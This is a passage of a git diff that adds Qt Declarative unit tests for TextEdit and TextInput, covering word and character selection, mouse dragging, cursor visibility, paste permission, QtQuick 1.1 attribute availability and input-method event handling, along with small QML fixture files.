+            << 4 << 15;
+    QTest::newRow("the{^ <quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 3
+            << 4 << 15
+            << 3 << 9;
+    QTest::newRow("the{^ <quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 3
+            << 9 << 15
+            << 3 << 15;
+    QTest::newRow("{t^he <quick}( bro)wn> fox|ltr")
+            << standard[0]
+            << 9 << 13 << 1
+            << 4 << 15
+            << 0 << 9;
+    QTest::newRow("{t^he <quick}( bro)wn> fox|rtl")
+            << standard[0]
+            << 13 << 9 << 1
+            << 9 << 15
+            << 0 << 15;
+
+    QTest::newRow("{<He(ll)o>, w^orld}!|ltr")
+            << standard[2]
+            << 2 << 4 << 8
+            << 0 << 5
+            << 0 << 12;
+    QTest::newRow("{<He(ll)o>, w^orld}!|rtl")
+            << standard[2]
+            << 4 << 2 << 8
+            << 0 << 5
+            << 0 << 12;
+
+    QTest::newRow("!{dlro^w ,<o(ll)eH>}|ltr")
+            << standard[3]
+            << 9 << 11 << 5
+            << 8 << 13
+            << 1 << 13;
+    QTest::newRow("!{dlro^w ,<o(ll)eH>}|rtl")
+            << standard[3]
+            << 11 << 9 << 5
+            << 8 << 13
+            << 1 << 13;
 }
 
+void tst_qdeclarativetextedit::moveCursorSelectionSequence()
+{
+    QFETCH(QString, testStr);
+    QFETCH(int, cursorPosition);
+    QFETCH(int, movePosition1);
+    QFETCH(int, movePosition2);
+    QFETCH(int, selection1Start);
+    QFETCH(int, selection1End);
+    QFETCH(int, selection2Start);
+    QFETCH(int, selection2End);
+
+    QString componentStr = "import QtQuick 1.1\nTextEdit {  text: \""+ testStr +"\"; }";
+    QDeclarativeComponent texteditComponent(&engine);
+    texteditComponent.setData(componentStr.toLatin1(), QUrl());
+    QDeclarativeTextEdit *texteditObject = qobject_cast<QDeclarativeTextEdit*>(texteditComponent.create());
+    QVERIFY(texteditObject != 0);
+
+    texteditObject->setCursorPosition(cursorPosition);
+
+    texteditObject->moveCursorSelection(movePosition1, QDeclarativeTextEdit::SelectWords);
+    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection1Start, selection1End - selection1Start));
+    QCOMPARE(texteditObject->selectionStart(), selection1Start);
+    QCOMPARE(texteditObject->selectionEnd(), selection1End);
+
+    texteditObject->moveCursorSelection(movePosition2, QDeclarativeTextEdit::SelectWords);
+    QCOMPARE(texteditObject->selectedText(), testStr.mid(selection2Start, selection2End - selection2Start));
+    QCOMPARE(texteditObject->selectionStart(), selection2Start);
+    QCOMPARE(texteditObject->selectionEnd(), selection2End);
+}
+
+
 void tst_qdeclarativetextedit::mouseSelection_data()
 {
     QTest::addColumn<QString>("qmlfile");
@@ -751,6 +1138,102 @@ void tst_qdeclarativetextedit::mouseSelection()
     delete canvas;
 }
 
+void tst_qdeclarativetextedit::dragMouseSelection()
+{
+    QString qmlfile = SRCDIR "/data/mouseselection_true.qml";
+
+    QDeclarativeView *canvas = createView(qmlfile);
+
+    canvas->show();
+    QApplication::setActiveWindow(canvas);
+    QTest::qWaitForWindowShown(canvas);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+    QVERIFY(canvas->rootObject() != 0);
+    QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+    QVERIFY(textEditObject != 0);
+
+    textEditObject->setAcceptDrops(true);
+
+    // press-and-drag-and-release from x1 to x2
+    int x1 = 10;
+    int x2 = 70;
+    int y = textEditObject->height()/2;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+    QString str1 = textEditObject->selectedText();
+    QVERIFY(str1.length() > 3);
+
+    // press and drag the current selection.
+    x1 = 40;
+    x2 = 100;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    {
+        QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(canvas->viewport(), &mv);
+    }
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+    QString str2 = textEditObject->selectedText();
+    QVERIFY(str2.length() > 3);
+
+    QVERIFY(str1 != str2); // Verify the second press and drag is a new selection and doesn't not the first moved.
+
+    delete canvas;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode_data()
+{
+    QTest::addColumn<QString>("qmlfile");
+    QTest::addColumn<bool>("selectWords");
+
+    // import installed
+    QTest::newRow("SelectWords") << SRCDIR "/data/mouseselectionmode_words.qml" << true;
+    QTest::newRow("SelectCharacters") << SRCDIR "/data/mouseselectionmode_characters.qml" << false;
+    QTest::newRow("default") << SRCDIR "/data/mouseselectionmode_default.qml" << false;
+}
+
+void tst_qdeclarativetextedit::mouseSelectionMode()
+{
+    QFETCH(QString, qmlfile);
+    QFETCH(bool, selectWords);
+
+    QString text = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+
+    QDeclarativeView *canvas = createView(qmlfile);
+
+    canvas->show();
+    QApplication::setActiveWindow(canvas);
+    QTest::qWaitForWindowShown(canvas);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(canvas));
+
+    QVERIFY(canvas->rootObject() != 0);
+    QDeclarativeTextEdit *textEditObject = qobject_cast<QDeclarativeTextEdit *>(canvas->rootObject());
+    QVERIFY(textEditObject != 0);
+
+    // press-and-drag-and-release from x1 to x2
+    int x1 = 10;
+    int x2 = 70;
+    int y = textEditObject->height()/2;
+    QTest::mousePress(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x1,y)));
+    //QTest::mouseMove(canvas->viewport(), canvas->mapFromScene(QPoint(x2,y))); // doesn't work
+    QMouseEvent mv(QEvent::MouseMove, canvas->mapFromScene(QPoint(x2,y)), Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+    QApplication::sendEvent(canvas->viewport(), &mv);
+    QTest::mouseRelease(canvas->viewport(), Qt::LeftButton, 0, canvas->mapFromScene(QPoint(x2,y)));
+    QString str = textEditObject->selectedText();
+    if (selectWords) {
+        QCOMPARE(str, text);
+    } else {
+        QVERIFY(str.length() > 3);
+        QVERIFY(str != text);
+    }
+
+    delete canvas;
+}
+
 void tst_qdeclarativetextedit::inputMethodHints()
 {
     QDeclarativeView *canvas = createView(SRCDIR "/data/inputmethodhints.qml");
@@ -795,6 +1278,76 @@ void tst_qdeclarativetextedit::cursorDelegate()
     delete view;
 }
 
+void tst_qdeclarativetextedit::cursorVisible()
+{
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+    view.setFocus();
+
+    QDeclarativeTextEdit edit;
+    QSignalSpy spy(&edit, SIGNAL(cursorVisibleChanged(bool)));
+
+    QCOMPARE(edit.isCursorVisible(), false);
+
+    edit.setCursorVisible(true);
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 1);
+
+    edit.setCursorVisible(false);
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 2);
+
+    edit.setFocus(true);
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 2);
+
+    scene.addItem(&edit);
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 3);
+
+    edit.setFocus(false);
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 4);
+
+    edit.setFocus(true);
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 5);
+
+    scene.clearFocus();
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 6);
+
+    scene.setFocus();
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 7);
+
+    view.clearFocus();
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 8);
+
+    view.setFocus();
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 9);
+
+    // on mac, setActiveWindow(0) on mac does not deactivate the current application
+    // (you have to switch to a different app or hide the current app to trigger this)
+#if !defined(Q_WS_MAC)
+    QApplication::setActiveWindow(0);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(0));
+    QCOMPARE(edit.isCursorVisible(), false);
+    QCOMPARE(spy.count(), 10);
+
+    QApplication::setActiveWindow(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+    QCOMPARE(edit.isCursorVisible(), true);
+    QCOMPARE(spy.count(), 11);
+#endif
+}
+
 void tst_qdeclarativetextedit::delegateLoading_data()
 {
     QTest::addColumn<QString>("qmlfile");
@@ -906,10 +1459,18 @@ void tst_qdeclarativetextedit::copyAndPaste() {
     QCOMPARE(textEdit->selectedText(), QString("Hello world!"));
     QCOMPARE(textEdit->selectedText().length(), 12);
     textEdit->setCursorPosition(0);
+    QVERIFY(textEdit->canPaste());
     textEdit->paste();
     QCOMPARE(textEdit->text(), QString("Hello world!Hello world!"));
     QCOMPARE(textEdit->text().length(), 24);
 
+    // canPaste
+    QVERIFY(textEdit->canPaste());
+    textEdit->setReadOnly(true);
+    QVERIFY(!textEdit->canPaste());
+    textEdit->setReadOnly(false);
+    QVERIFY(textEdit->canPaste());
+
     // QTBUG-12339
     // test that document and internal text attribute are in sync
     QDeclarativeItemPrivate* pri = QDeclarativeItemPrivate::get(textEdit);
@@ -975,7 +1536,7 @@ QDeclarativeView *tst_qdeclarativetextedit::createView(const QString &filename)
 class MyInputContext : public QInputContext
 {
 public:
-    MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false) {}
+    MyInputContext() : openInputPanelReceived(false), closeInputPanelReceived(false), updateReceived(false), eventType(QEvent::None) {}
     ~MyInputContext() {}
 
     QString identifierName() { return QString(); }
@@ -993,8 +1554,40 @@ public:
             closeInputPanelReceived = true;
         return QInputContext::filterEvent(event);
     }
+
+    void update() { updateReceived = true; }
+
+    void sendPreeditText(const QString &text, int cursor)
+    {
+        QList<QInputMethodEvent::Attribute> attributes;
+        attributes.append(QInputMethodEvent::Attribute(
+                QInputMethodEvent::Cursor, cursor, text.length(), QVariant()));
+
+        QInputMethodEvent event(text, attributes);
+        sendEvent(event);
+    }
+
+    void mouseHandler(int x, QMouseEvent *event)
+    {
+        cursor = x;
+        eventType = event->type();
+        eventPosition = event->pos();
+        eventGlobalPosition = event->globalPos();
+        eventButton = event->button();
+        eventButtons = event->buttons();
+        eventModifiers = event->modifiers();
+    }
+
     bool openInputPanelReceived;
     bool closeInputPanelReceived;
+    bool updateReceived;
+    int cursor;
+    QEvent::Type eventType;
+    QPoint eventPosition;
+    QPoint eventGlobalPosition;
+    Qt::MouseButton eventButton;
+    Qt::MouseButtons eventButtons;
+    Qt::KeyboardModifiers eventModifiers;
 };
 
 void tst_qdeclarativetextedit::textInput()
@@ -1191,6 +1784,16 @@ void tst_qdeclarativetextedit::openInputPanelOnFocus()
     QApplication::processEvents();
     QVERIFY(view.inputContext() == 0);
     QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
+
+    // input method should not be enabled
+    // if TextEdit is read only.
+    edit.setReadOnly(true);
+    ic.openInputPanelReceived = false;
+    edit.setFocus(true);
+    QApplication::processEvents();
+    QCOMPARE(ic.openInputPanelReceived, false);
+    QVERIFY(view.inputContext() == 0);
+    QVERIFY(!view.testAttribute(Qt::WA_InputMethodEnabled));
 }
 
 void tst_qdeclarativetextedit::geometrySignals()
@@ -1224,6 +1827,258 @@ void tst_qdeclarativetextedit::pastingRichText_QTBUG_14003()
 #endif
 }
 
+void tst_qdeclarativetextedit::implicitSize_data()
+{
+    QTest::addColumn<QString>("text");
+    QTest::addColumn<QString>("wrap");
+    QTest::newRow("plain") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.NoWrap";
+    QTest::newRow("richtext") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.NoWrap";
+    QTest::newRow("plain_wrap") << "The quick red fox jumped over the lazy brown dog" << "TextEdit.Wrap";
+    QTest::newRow("richtext_wrap") << "<b>The quick red fox jumped over the lazy brown dog</b>" << "TextEdit.Wrap";
+}
+
+void tst_qdeclarativetextedit::implicitSize()
+{
+    QFETCH(QString, text);
+    QFETCH(QString, wrap);
+    QString componentStr = "import QtQuick 1.1\nTextEdit { text: \"" + text + "\"; width: 50; wrapMode: " + wrap + " }";
+    QDeclarativeComponent textComponent(&engine);
+    textComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile(""));
+    QDeclarativeTextEdit *textObject = qobject_cast<QDeclarativeTextEdit*>(textComponent.create());
+
+    QVERIFY(textObject->width() < textObject->implicitWidth());
+    QVERIFY(textObject->height() == textObject->implicitHeight());
+
+    textObject->resetWidth();
+    QVERIFY(textObject->width() == textObject->implicitWidth());
+    QVERIFY(textObject->height() == textObject->implicitHeight());
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes()
+{
+    QFETCH(QString, code);
+    QFETCH(QString, warning);
+    QFETCH(QString, error);
+
+    QDeclarativeEngine engine;
+    QObject *obj;
+
+    QDeclarativeComponent valid(&engine);
+    valid.setData("import QtQuick 1.1; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+    obj = valid.create();
+    QVERIFY(obj);
+    QVERIFY(valid.errorString().isEmpty());
+    delete obj;
+
+    QDeclarativeComponent invalid(&engine);
+    invalid.setData("import QtQuick 1.0; TextEdit { " + code.toUtf8() + " }", QUrl(""));
+    QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+    obj = invalid.create();
+    QCOMPARE(invalid.errorString(), error);
+    delete obj;
+}
+
+void tst_qdeclarativetextedit::testQtQuick11Attributes_data()
+{
+    QTest::addColumn<QString>("code");
+    QTest::addColumn<QString>("warning");
+    QTest::addColumn<QString>("error");
+
+    QTest::newRow("canPaste") << "property bool foo: canPaste"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: canPaste"
+        << "";
+
+    QTest::newRow("lineCount") << "property int foo: lineCount"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: lineCount"
+        << "";
+
+    QTest::newRow("moveCursorSelection") << "Component.onCompleted: moveCursorSelection(0, TextEdit.SelectCharacters)"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: moveCursorSelection"
+        << "";
+
+    QTest::newRow("deselect") << "Component.onCompleted: deselect()"
+        << "<Unknown File>:1: ReferenceError: Can't find variable: deselect"
+        << "";
+
+    QTest::newRow("onLinkActivated") << "onLinkActivated: {}"
+        << "QDeclarativeComponent: Component is not ready"
+        << ":1 \"TextEdit.onLinkActivated\" is not available in QtQuick 1.0.\n";
+}
+
+void tst_qdeclarativetextedit::preeditMicroFocus()
+{
+    QString preeditText = "super";
+
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    MyInputContext ic;
+    view.setInputContext(&ic);
+    QDeclarativeTextEdit edit;
+    edit.setFocus(true);
+    scene.addItem(&edit);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+
+    QRect currentRect;
+    QRect previousRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+
+    // Verify that the micro focus rect is positioned the same for position 0 as
+    // it would be if there was no preedit text.
+    ic.updateReceived = false;
+    ic.sendPreeditText(preeditText, 0);
+    currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+    QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+    QCOMPARE(ic.updateReceived, true);
+#endif
+
+    // Verify that the micro focus rect moves to the left as the cursor position
+    // is incremented.
+    for (int i = 1; i <= 5; ++i) {
+        ic.updateReceived = false;
+        ic.sendPreeditText(preeditText, i);
+        currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+        QVERIFY(previousRect.left() < currentRect.left());
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+        QCOMPARE(ic.updateReceived, true);
+#endif
+        previousRect = currentRect;
+    }
+
+    // Verify that if there is no preedit cursor then the micro focus rect is the
+    // same as it would be if it were positioned at the end of the preedit text.
+    ic.sendPreeditText(preeditText, 0);
+    ic.updateReceived = false;
+    ic.sendEvent(QInputMethodEvent(preeditText, QList<QInputMethodEvent::Attribute>()));
+    currentRect = edit.inputMethodQuery(Qt::ImMicroFocus).toRect();
+    QCOMPARE(currentRect, previousRect);
+#if defined(Q_WS_X11) || defined(Q_WS_QWS) || defined(Q_OS_SYMBIAN)
+    QCOMPARE(ic.updateReceived, true);
+#endif
+}
+
+void tst_qdeclarativetextedit::inputContextMouseHandler()
+{
+    QString text = "supercalifragisiticexpialidocious!";
+
+    QGraphicsScene scene;
+    QGraphicsView view(&scene);
+    MyInputContext ic;
+    view.setInputContext(&ic);
+    QDeclarativeTextEdit edit;
+    edit.setPos(0, 0);
+    edit.setWidth(200);
+    edit.setText(text.mid(0, 12));
+    edit.setPos(0, 0);
+    edit.setCursorPosition(12);
+    edit.setFocus(true);
+    scene.addItem(&edit);
+    view.show();
+    QApplication::setActiveWindow(&view);
+    QTest::qWaitForWindowShown(&view);
+    QTRY_COMPARE(QApplication::activeWindow(), static_cast<QWidget *>(&view));
+    view.setFocus();
+
+    QFontMetricsF fm(edit.font());
+    const qreal y = fm.height() / 2;
+
+    QPoint position2 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 2)), y)));
+    QPoint position8 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 8)), y)));
+    QPoint position20 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 20)), y)));
+    QPoint position27 = view.mapFromScene(edit.mapToScene(QPointF(fm.width(text.mid(0, 27)), y)));
+    QPoint globalPosition2 = view.viewport()->mapToGlobal(position2);
+    QPoint globalposition8 = view.viewport()->mapToGlobal(position8);
+    QPoint globalposition20 = view.viewport()->mapToGlobal(position20);
+    QPoint globalposition27 = view.viewport()->mapToGlobal(position27);
+
+    ic.sendEvent(QInputMethodEvent(text.mid(12), QList<QInputMethodEvent::Attribute>()));
+
+    QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+
+    QTest::mousePress(view.viewport(), Qt::LeftButton, Qt::NoModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position8, globalposition8, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::None);
+
+    {   QMouseEvent mv(QEvent::MouseMove, position27, globalposition27, Qt::LeftButton, Qt::LeftButton,Qt::NoModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::MouseMove);
+    QCOMPARE(ic.eventPosition, position27);
+        QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);    // 15 is expected but some platforms may be off by one.
+    ic.eventType = QEvent::None;
+
+    QTest::mouseRelease(view.viewport(), Qt::LeftButton, Qt::NoModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::NoModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    // And in the other direction.
+    QTest::mouseDClick(view.viewport(), Qt::LeftButton, Qt::ControlModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonDblClick);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::LeftButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    QTest::mousePress(view.viewport(), Qt::RightButton, Qt::ControlModifier, position27);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonPress);
+    QCOMPARE(ic.eventPosition, position27);
+    QCOMPARE(ic.eventGlobalPosition, globalposition27);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 14 && ic.cursor <= 16);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position20, globalposition20, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::MouseMove);
+    QCOMPARE(ic.eventPosition, position20);
+    QCOMPARE(ic.eventGlobalPosition, globalposition20);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor >= 7 && ic.cursor <= 9);
+    ic.eventType = QEvent::None;
+
+    {   QMouseEvent mv(QEvent::MouseMove, position2, globalPosition2, Qt::RightButton, Qt::RightButton,Qt::ControlModifier);
+        QApplication::sendEvent(view.viewport(), &mv); }
+    QCOMPARE(ic.eventType, QEvent::None);
+
+    QTest::mouseRelease(view.viewport(), Qt::RightButton, Qt::ControlModifier, position2);
+    QCOMPARE(ic.eventType, QEvent::MouseButtonRelease);
+    QCOMPARE(ic.eventPosition, position2);
+    QCOMPARE(ic.eventGlobalPosition, globalPosition2);
+    QCOMPARE(ic.eventButton, Qt::RightButton);
+    QCOMPARE(ic.eventModifiers, Qt::ControlModifier);
+    QVERIFY(ic.cursor < 0);
+    ic.eventType = QEvent::None;
+}
+
 QTEST_MAIN(tst_qdeclarativetextedit)
 
 #include "tst_qdeclarativetextedit.moc"
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
new file mode 100644
index 0000000..b11535e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/horizontalAlignment_RightToLeft.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+    id: top
+    width: 200; height: 70;
+
+    property alias horizontalAlignment: text.horizontalAlignment
+    property string text: "اختبا"
+
+    Rectangle {
+        anchors.centerIn: parent
+        width: 180
+        height: 20
+        color: "green"
+
+        TextInput {
+            id: text
+            objectName: "text"
+            anchors.fill: parent
+            text: top.text
+        }
+    }
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
new file mode 100644
index 0000000..8115ba0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselection_true.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.0
+
+TextInput {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
new file mode 100644
index 0000000..0ffc6ff
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_characters.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+    mouseSelectionMode: TextInput.SelectCharacters
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
new file mode 100644
index 0000000..87c174b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_default.qml
@@ -0,0 +1,7 @@
+import QtQuick 1.1
+
+TextInput {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
new file mode 100644
index 0000000..df69a7d
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativetextinput/data/mouseselectionmode_words.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.1
+
+TextInput {
+    focus: true
+    text: "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
+    selectByMouse: true
+    mouseSelectionMode: TextInput.SelectWords
+}
diff --git a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
index 4ad055c..49a05a3 100644
--- a/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
+++ b/tests/auto/declarative/qdeclarativetextinput/tst_qdeclarativetextinput.cpp
@@ -57,6 +57,8 @@
 #define SRCDIR "."
 #endif
 
+Q_DECLARE_METATYPE(QDeclarativeTextInput::SelectionMode)
+
 QString createExpectedFileIfNotFound(const QString& filebasename, const QImage& actual)
 {
     // XXX This will be replaced by some clever persistent platform image store.
@@ -87,9 +89,17 @@ private slots:
     void font();
     void color();
     void selection();
+    void moveCursorSelection_data();
+    void moveCursorSelection();
+    void moveCursorSelectionSequence_data();
+    void moveCursorSelectionSequence();
+    void dragMouseSelection();
+    void mouseSelectionMode_data();
+    void mouseSelectionMode();
 
     void horizontalAlignment_data();
     void horizontalAlignment();
+    void horizontalAlignment_RightToLeft();
 
     void positionAt();
 
@@ -100,6 +110,7 @@ private slots:
 
     void passwordCharacter();
     void cursorDelegate();
+    void cursorVisible();
     void navigation();
     void copyAndPaste();
     void readOnly();
@@ -111,6 +122,13 @@ private slots:
 
     void echoMode();
     void geometrySignals();
+    void testQtQuick11Attributes();
+    void testQtQuick11Attributes_data();
+
+    void preeditAutoScroll();
+    void preeditMicroFocus();
+    void inputContextMouseHandler();
+
 private:
     void simulateKey(QDeclarativeView *, int key);
     QDeclarativeView *createView(const QString &filename);
@@ -124,7 +142,8 @@ tst_qdeclarativetextinput::tst_qdeclarativetextinput()
 {
     standard << "the quick brown fox jumped over the lazy dog"
         << "It's supercalifragisiticexpialidocious!"
-        << "Hello, world!";
+        << "Hello, world!"
+        << "!dlrow ,olleH";
 
     colorStrings << "aliceblue"
                  << "antiquewhite"
@@ -405,9 +424,447 @@ void tst_qdeclarativetextinput::selection()
     textinputObject->select(0,100);
     QVERIFY(textinputObject->selectedText().size() == 10);
 
+    textinputObject->deselect();
+    QVERIFY(textinputObject->selectedText().isNull());
+    textinputObject->select(0,10);
+    QVERIFY(textinputObject->selectedText().size() == 10);
+    textinputObject->deselect();
+    QVERIFY(textinputObject->selectedText().isNull());
+
     delete textinputObject;
 }
 
+void tst_qdeclarativetextinput::moveCursorSelection_data()
+{
+    QTest::addColumn<QString>("testStr");
+    QTest::addColumn<int>("cursorPosition");
+    QTest::addColumn<int>("movePosition");
+    QTest::addColumn<QDeclarativeTextInput::SelectionMode>("mode");
+    QTest::addColumn<int>("selectionStart");
+    QTest::addColumn<int>("selectionEnd");
+    QTest::addColumn<bool>("reversible");
+
+    QTest::newRow("(t)he|characters")
+            << standard[0] << 0 << 1 << QDeclarativeTextInput::SelectCharacters << 0 << 1 << true;
+    QTest::newRow("do(g)|characters")
+            << standard[0] << 43 << 44 << QDeclarativeTextInput::SelectCharacters << 43 << 44 << true;
+    QTest::newRow("jum(p)ed|characters")
+            << standard[0] << 23 << 24 << QDeclarativeTextInput::SelectCharacters << 23 << 24 << true;
+    QTest::newRow("jumped( )over|characters")
+            << standard[0] << 26 << 27 << QDeclarativeTextInput::SelectCharacters << 26 << 27 << true;
+    QTest::newRow("(the )|characters")
+            << standard[0] << 0 << 4 << QDeclarativeTextInput::SelectCharacters << 0 << 4 << true;
+    QTest::newRow("( dog)|characters")
+            << standard[0] << 40 << 44 << QDeclarativeTextInput::SelectCharacters << 40 << 44 << true;
+    QTest::newRow("( jumped )|characters")
